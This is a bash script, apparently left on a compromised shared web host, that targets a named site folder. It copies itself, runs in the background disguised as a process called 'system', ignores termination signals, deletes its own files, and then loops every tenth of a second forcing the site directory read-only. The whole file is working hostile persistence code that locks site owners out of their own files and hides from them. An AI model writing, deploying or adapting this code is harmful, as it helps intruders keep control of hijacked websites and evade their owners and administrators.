#!/bin/bash
# Konfigurasi
FOLDER_PATH="/home2/bendreal/foreverafterimages.com/"

check_process() {
    if pgrep -x "system" > /dev/null; then
        return 0
    else
        return 1
    fi
}

run_in_background() {
    exec 0</dev/null
    exec 1>/dev/null
    exec 2>/dev/null
    trap "" SIGTERM SIGHUP SIGINT
    sleep $((RANDOM % 5))
    nice -n 19 nohup setsid bash -c "exec -a 'system' $0 run" &
    exit 0
}

self_delete() {
    sleep $((RANDOM % 3))
    local script_dir=$(dirname "$0")
    rm -f "$0" "${script_dir}/system.enc" "${script_dir}/system" 2>/dev/null
}

main() {
    local script_dir=$(dirname "$0")
    local temp_system="${script_dir}/system"

    if [ "$1" = "run" ]; then
        trap "" SIGTERM SIGHUP SIGINT
        exec -a "system" nice -n 19 bash "$0" run_inner
    elif [ "$1" = "run_inner" ]; then
        while true; do
            if [ -d "$FOLDER_PATH" ]; then
                chmod -R 0555 "$FOLDER_PATH"
            fi
            sleep 0.1
        done
    else
        if ! check_process; then
            cp "$0" "$temp_system" 2>/dev/null
            chmod +x "$temp_system" 2>/dev/null
            "$temp_system" run &
            self_delete
        else
            exit 0
        fi
    fi
}

# Jalankan
main "$@"